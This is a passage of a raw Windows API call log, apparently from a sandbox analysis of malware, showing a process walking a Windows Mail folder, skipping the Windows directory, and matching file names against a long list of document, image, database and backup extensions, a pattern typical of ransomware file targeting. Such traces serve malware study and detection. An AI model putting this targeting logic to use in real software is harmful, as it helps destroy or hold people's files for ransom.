	[0179.773] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3e75d729, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3e75d729, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0179.773] FindNextFileW (in: hFindFile=0x76e6a8, lpFindFileData=0x2faf800 | out: lpFindFileData=0x2faf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0179.773] lstrlenW (lpString="C:\\Program Files\\Windows Mail\\en-US") returned 35
	[0179.773] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Windows Mail\\en-US") returned 1
	[0179.773] lstrlenW (lpString="en-US") returned 5
	[0179.773] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="en-US") returned -1
	[0179.773] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x4094fb8
	[0179.774] lstrlenW (lpString="C:\\Program Files\\Windows Mail\\en-US") returned 35
	[0179.774] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Mail\\en-US\\*", lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x76e6e8
	[0179.774] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa90b7e0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0179.774] FindNextFileW (in: hFindFile=0x76e6e8, lpFindFileData=0x2faf584 | out: lpFindFileData=0x2faf584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b922184, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x755f99d9, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x7a000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msoeres.dll.mui", cAlternateFileName="")) returned 1
	[0179.774] lstrlenW (lpString="msoeres.dll.mui") returned 15
	[0179.774] lstrlenW (lpString=".1cd") returned 4
	[0179.774] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0179.774] lstrlenW (lpString=".3ds") returned 4
	[0179.774] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1
	[0179.774] lstrlenW (lpString=".3fr") returned 4
	[0179.774] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1
	[0179.774] lstrlenW (lpString=".3g2") returned 4
	[0179.774] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1
	[0179.774] lstrlenW (lpString=".3gp") returned 4
	[0179.774] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1
	[0179.774] lstrlenW (lpString=".7z") returned 3
	[0179.774] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0179.774] lstrlenW (lpString=".accda") returned 6
	[0179.775] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1
	[0179.775] lstrlenW (lpString=".accdb") returned 6
	[0179.775] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1
	[0179.775] lstrlenW (lpString=".accdc") returned 6
	[0179.775] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1
	[0179.775] lstrlenW (lpString=".accde") returned 6
	[0179.775] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1
	[0179.775] lstrlenW (lpString=".accdt") returned 6
	[0179.775] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1
	[0179.775] lstrlenW (lpString=".accdw") returned 6
	[0179.775] lstrcmpiW (lpString1=".accdw", lpString2="ll.mui") returned -1
	[0179.775] lstrlenW (lpString=".adb") returned 4
	[0179.775] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1
	[0179.775] lstrlenW (lpString=".adp") returned 4
	[0179.775] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1
	[0179.775] lstrlenW (lpString=".ai") returned 3
	[0179.775] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1
	[0179.775] lstrlenW (lpString=".ai3") returned 4
	[0179.775] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1
	[0179.775] lstrlenW (lpString=".ai4") returned 4
	[0179.775] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1
	[0179.775] lstrlenW (lpString=".ai5") returned 4
	[0179.775] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1
	[0179.775] lstrlenW (lpString=".ai6") returned 4
	[0179.775] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1
	[0179.775] lstrlenW (lpString=".ai7") returned 4
	[0179.775] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1
	[0179.775] lstrlenW (lpString=".ai8") returned 4
	[0179.775] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1
	[0179.776] lstrlenW (lpString=".anim") returned 5
	[0179.776] lstrcmpiW (lpString1=".anim", lpString2="l.mui") returned -1
	[0179.776] lstrlenW (lpString=".arw") returned 4
	[0179.776] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1
	[0179.776] lstrlenW (lpString=".as") returned 3
	[0179.776] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1
	[0179.776] lstrlenW (lpString=".asa") returned 4
	[0179.776] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1
	[0179.776] lstrlenW (lpString=".asc") returned 4
	[0179.776] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1
	[0179.776] lstrlenW (lpString=".ascx") returned 5
	[0179.776] lstrcmpiW (lpString1=".ascx", lpString2="l.mui") returned -1
	[0179.776] lstrlenW (lpString=".asm") returned 4
	[0179.776] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1
	[0179.776] lstrlenW (lpString=".asmx") returned 5
	[0179.776] lstrcmpiW (lpString1=".asmx", lpString2="l.mui") returned -1
	[0179.776] lstrlenW (lpString=".asp") returned 4
	[0179.776] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1
	[0179.776] lstrlenW (lpString=".aspx") returned 5
	[0179.776] lstrcmpiW (lpString1=".aspx", lpString2="l.mui") returned -1
	[0179.776] lstrlenW (lpString=".asr") returned 4
	[0179.776] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1
	[0179.776] lstrlenW (lpString=".asx") returned 4
	[0179.776] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1
	[0179.776] lstrlenW (lpString=".avi") returned 4
	[0179.776] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1
	[0179.776] lstrlenW (lpString=".avs") returned 4
	[0179.776] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1
	[0179.776] lstrlenW (lpString=".backup") returned 7
	[0179.776] lstrcmpiW (lpString1=".backup", lpString2="dll.mui") returned -1
	[0179.776] lstrlenW (lpString=".bak") returned 4
	[0179.776] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1
	[0179.776] lstrlenW (lpString=".bay") returned 4
	[0179.777] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1
	[0179.777] lstrlenW (lpString=".bd") returned 3
	[0179.777] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1
	[0179.777] lstrlenW (lpString=".bin") returned 4
	[0179.777] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1
	[0179.777] lstrlenW (lpString=".bmp") returned 4
	[0179.777] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1
	[0179.777] lstrlenW (lpString=".bz2") returned 4
	[0179.777] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0179.777] lstrlenW (lpString=".c") returned 2
	[0179.777] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1
	[0179.777] lstrlenW (lpString=".cdr") returned 4
	[0179.777] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1
	[0179.777] lstrlenW (lpString=".cer") returned 4
	[0179.777] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1
	[0179.777] lstrlenW (lpString=".cf") returned 3
	[0179.777] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1
	[0179.777] lstrlenW (lpString=".cfc") returned 4
	[0179.777] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1
	[0179.777] lstrlenW (lpString=".cfm") returned 4
	[0179.777] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1
	[0179.777] lstrlenW (lpString=".cfml") returned 5
	[0179.777] lstrcmpiW (lpString1=".cfml", lpString2="l.mui") returned -1
	[0179.777] lstrlenW (lpString=".cfu") returned 4
	[0179.777] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1
	[0179.777] lstrlenW (lpString=".chm") returned 4
	[0179.777] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1
	[0179.777] lstrlenW (lpString=".cin") returned 4
	[0179.777] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".class") returned 6
	[0179.778] lstrcmpiW (lpString1=".class", lpString2="ll.mui") returned -1
	[0179.778] lstrlenW (lpString=".clx") returned 4
	[0179.778] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".config") returned 7
	[0179.778] lstrcmpiW (lpString1=".config", lpString2="dll.mui") returned -1
	[0179.778] lstrlenW (lpString=".cpp") returned 4
	[0179.778] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".cr2") returned 4
	[0179.778] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".crt") returned 4
	[0179.778] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".crw") returned 4
	[0179.778] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".cs") returned 3
	[0179.778] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1
	[0179.778] lstrlenW (lpString=".css") returned 4
	[0179.778] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".csv") returned 4
	[0179.778] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".cub") returned 4
	[0179.778] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".dae") returned 4
	[0179.778] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".dat") returned 4
	[0179.778] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".db") returned 3
	[0179.778] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1
	[0179.778] lstrlenW (lpString=".dbf") returned 4
	[0179.778] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".dbx") returned 4
	[0179.778] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1
	[0179.778] lstrlenW (lpString=".dc3") returned 4
	[0179.778] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1
	[0179.779] lstrlenW (lpString=".dcm") returned 4
	[0179.779] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1
	[0179.779] lstrlenW (lpString=".dcr") returned 4
	[0179.779] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1
	[0179.779] lstrlenW (lpString=".der") returned 4
	[0179.779] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1
	[0179.779] lstrlenW (lpString=".dib") returned 4
	[0179.779] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1
	[0179.779] lstrlenW (lpString=".dic") returned 4
	[0179.779] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1
	[0179.779] lstrlenW (lpString=".dif") returned 4
	[0179.779] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1
	[0179.779] lstrlenW (lpString=".divx") returned 5
	[0179.779] lstrcmpiW (lpString1=".divx", lpString2="l.mui") returned -1
	[0179.779] lstrlenW (lpString=".djvu") returned 5
	[0179.779] lstrcmpiW (lpString1=".djvu", lpString2="l.mui") returned -1
	[0179.779] lstrlenW (lpString=".dng") returned 4
	[0179.779] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1
	[0179.779] lstrlenW (lpString=".doc") returned 4
	[0179.779] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0179.779] lstrlenW (lpString=".docm") returned 5
	[0179.779] lstrcmpiW (lpString1=".docm", lpString2="l.mui") returned -1
	[0179.779] lstrlenW (lpString=".docx") returned 5
	[0179.779] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1
	[0179.779] lstrlenW (lpString=".dot") returned 4
	[0179.779] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1
	[0179.779] lstrlenW (lpString=".dotm") returned 5
	[0179.779] lstrcmpiW (lpString1=".dotm", lpString2="l.mui") returned -1
	[0179.780] lstrlenW (lpString=".dotx") returned 5
	[0179.780] lstrcmpiW (lpString1=".dotx", lpString2="l.mui") returned -1
	[0179.780] lstrlenW (lpString=".dpx") returned 4
	[0179.780] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1
	[0179.780] lstrlenW (lpString=".dqy") returned 4
	[0179.780] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1
	[0179.780] lstrlenW (lpString=".dsn") returned 4
	[0179.780] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1
	[0179.780] lstrlenW (lpString=".dt") returned 3
	[0179.780] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1
	[0179.780] lstrlenW (lpString=".dtd") returned 4
	[0179.780] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1
	[0179.780] lstrlenW (lpString=".dwg") returned 4
	[0179.780] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1
	[0179.780] lstrlenW (lpString=".dwt") returned 4
	[0179.780] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1
	[0179.780] lstrlenW (lpString=".dx") returned 3
	[0179.780] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1
	[0179.780] lstrlenW (lpString=".dxf") returned 4
	[0179.780] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1
	[0179.780] lstrlenW (lpString=".edml") returned 5
	[0179.780] lstrcmpiW (lpString1=".edml", lpString2="l.mui") returned -1
	[0179.780] lstrlenW (lpString=".efd") returned 4
	[0179.780] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1
	[0179.780] lstrlenW (lpString=".elf") returned 4
	[0179.780] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1
	[0179.780] lstrlenW (lpString=".emf") returned 4
	[0179.780] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1
	[0179.780] lstrlenW (lpString=".emz") returned 4
	[0179.780] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1
	[0179.780] lstrlenW (lpString=".epf") returned 4
	[0179.780] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1
	[0179.780] lstrlenW (lpString=".eps") returned 4
	[0179.780] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1
	[0179.781] lstrlenW (lpString=".epsf") returned 5
	[0179.781] lstrcmpiW (lpString1=".epsf", lpString2="l.mui") returned -1
	[0179.781] lstrlenW (lpString=".epsp") returned 5
	[0179.781] lstrcmpiW (lpString1=".epsp", lpString2="l.mui") returned -1
	[0179.781] lstrlenW (lpString=".erf") returned 4
	[0179.781] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1
	[0179.781] lstrlenW (lpString=".exr") returned 4
	[0179.781] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1
	[0179.781] lstrlenW (lpString=".f4v") returned 4
	[0179.781] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1
	[0179.781] lstrlenW (lpString=".fido") returned 5
	[0179.781] lstrcmpiW (lpString1=".fido", lpString2="l.mui") returned -1
	[0179.781] lstrlenW (lpString=".flm") returned 4
	[0179.781] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1
	[0179.781] lstrlenW (lpString=".flv") returned 4
	[0179.781] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1
	[0179.781] lstrlenW (lpString=".frm") returned 4
	[0179.781] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1
	[0179.781] lstrlenW (lpString=".fxg") returned 4
	[0179.781] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1
	[0179.781] lstrlenW (lpString=".geo") returned 4
	[0179.781] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1
	[0179.781] lstrlenW (lpString=".gif") returned 4
	[0179.781] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1
	[0179.781] lstrlenW (lpString=".grs") returned 4
	[0179.781] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1
	[0179.781] lstrlenW (lpString=".gz") returned 3
	[0179.781] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1
	[0179.781] lstrlenW (lpString=".h") returned 2
	[0179.781] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1
	[0179.782] lstrlenW (lpString=".hdr") returned 4
	[0179.782] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".hpp") returned 4
	[0179.782] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".hta") returned 4
	[0179.782] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".htc") returned 4
	[0179.782] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".htm") returned 4
	[0179.782] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".html") returned 5
	[0179.782] lstrcmpiW (lpString1=".html", lpString2="l.mui") returned -1
	[0179.782] lstrlenW (lpString=".icb") returned 4
	[0179.782] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".ics") returned 4
	[0179.782] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".iff") returned 4
	[0179.782] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".inc") returned 4
	[0179.782] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".indd") returned 5
	[0179.782] lstrcmpiW (lpString1=".indd", lpString2="l.mui") returned -1
	[0179.782] lstrlenW (lpString=".ini") returned 4
	[0179.782] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".iqy") returned 4
	[0179.782] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".j2c") returned 4
	[0179.782] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".j2k") returned 4
	[0179.782] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1
	[0179.782] lstrlenW (lpString=".java") returned 5
	[0179.782] lstrcmpiW (lpString1=".java", lpString2="l.mui") returned -1
	[0179.782] lstrlenW (lpString=".jp2") returned 4
	[0179.783] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1
	[0179.783] lstrlenW (lpString=".jpc") returned 4
	[0179.783] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1
	[0179.783] lstrlenW (lpString=".jpe") returned 4
	[0179.783] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1
	[0179.783] lstrlenW (lpString=".jpeg") returned 5
	[0179.783] lstrcmpiW (lpString1=".jpeg", lpString2="l.mui") returned -1
	[0179.783] lstrlenW (lpString=".jpf") returned 4
	[0179.783] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1
	[0179.783] lstrlenW (lpString=".jpg") returned 4
	[0179.783] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0179.783] lstrlenW (lpString=".jpx") returned 4
	[0179.783] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1
	[0179.783] lstrlenW (lpString=".js") returned 3
	[0179.783] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1
	[0179.783] lstrlenW (lpString=".jsf") returned 4
	[0179.783] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1
	[0179.783] lstrlenW (lpString=".json") returned 5
	[0179.783] lstrcmpiW (lpString1=".json", lpString2="l.mui") returned -1
	[0179.783] lstrlenW (lpString=".jsp") returned 4
	[0179.783] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1
	[0179.783] lstrlenW (lpString=".kdc") returned 4
	[0179.783] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1
	[0179.783] lstrlenW (lpString=".kmz") returned 4
	[0179.783] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1
	[0179.783] lstrlenW (lpString=".kwm") returned 4
	[0179.783] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1
	[0179.783] lstrlenW (lpString=".lasso") returned 6
	[0179.783] lstrcmpiW (lpString1=".lasso", lpString2="ll.mui") returned -1
	[0179.783] lstrlenW (lpString=".lbi") returned 4
	[0179.784] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".lgf") returned 4
	[0179.784] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".lgp") returned 4
	[0179.784] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".log") returned 4
	[0179.784] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".m1v") returned 4
	[0179.784] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".m4a") returned 4
	[0179.784] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".m4v") returned 4
	[0179.784] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".max") returned 4
	[0179.784] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".md") returned 3
	[0179.784] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1
	[0179.784] lstrlenW (lpString=".mda") returned 4
	[0179.784] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".mdb") returned 4
	[0179.784] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".mde") returned 4
	[0179.784] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".mdf") returned 4
	[0179.784] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".mdw") returned 4
	[0179.784] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".mef") returned 4
	[0179.784] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1
	[0179.784] lstrlenW (lpString=".mft") returned 4
	[0179.785] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1
	[0179.785] lstrlenW (lpString=".mfw") returned 4
	[0179.785] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1
	[0179.785] lstrlenW (lpString=".mht") returned 4
	[0179.785] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1
	[0179.785] lstrlenW (lpString=".mhtml") returned 6
	[0179.785] lstrcmpiW (lpString1=".mhtml", lpString2="ll.mui") returned -1
	[0179.785] lstrlenW (lpString=".mka") returned 4
	[0179.785] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1
	[0179.785] lstrlenW (lpString=".mkidx") returned 6
	[0179.785] lstrcmpiW (lpString1=".mkidx", lpString2="ll.mui") returned -1
	[0179.785] lstrlenW (lpString=".mkv") returned 4
	[0179.785] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1
	[0179.785] lstrlenW (lpString=".mos") returned 4
	[0179.785] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1
	[0179.785] lstrlenW (lpString=".mov") returned 4
	[0179.785] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1
	[0179.785] lstrlenW (lpString=".mp3") returned 4
	[0179.785] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1
	[0179.785] lstrlenW (lpString=".mp4") returned 4
	[0179.785] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1
	[0179.785] lstrlenW (lpString=".mpeg") returned 5
	[0179.785] lstrcmpiW (lpString1=".mpeg", lpString2="l.mui") returned -1
	[0179.785] lstrlenW (lpString=".mpg") returned 4
	[0179.785] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1
	[0179.785] lstrlenW (lpString=".mpv") returned 4
	[0179.785] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1
	[0179.785] lstrlenW (lpString=".mrw") returned 4
	[0179.865] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1
	[0179.865] lstrlenW (lpString=".msg") returned 4
	[0179.865] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1
	[0179.865] lstrlenW (lpString=".mxl") returned 4
	[0179.865] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1
	[0179.865] lstrlenW (lpString=".myd") returned 4
	[0179.866] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".myi") returned 4
	[0179.866] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".nef") returned 4
	[0179.866] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".nrw") returned 4
	[0179.866] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".obj") returned 4
	[0179.866] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".odb") returned 4
	[0179.866] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".odc") returned 4
	[0179.866] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".odm") returned 4
	[0179.866] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".odp") returned 4
	[0179.866] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".ods") returned 4
	[0179.866] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".oft") returned 4
	[0179.866] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".one") returned 4
	[0179.866] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".onepkg") returned 7
	[0179.866] lstrcmpiW (lpString1=".onepkg", lpString2="dll.mui") returned -1
	[0179.866] lstrlenW (lpString=".onetoc2") returned 8
	[0179.866] lstrcmpiW (lpString1=".onetoc2", lpString2=".dll.mui") returned 1
	[0179.866] lstrlenW (lpString=".opt") returned 4
	[0179.866] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".oqy") returned 4
	[0179.866] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1
	[0179.866] lstrlenW (lpString=".orf") returned 4
	[0179.866] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1
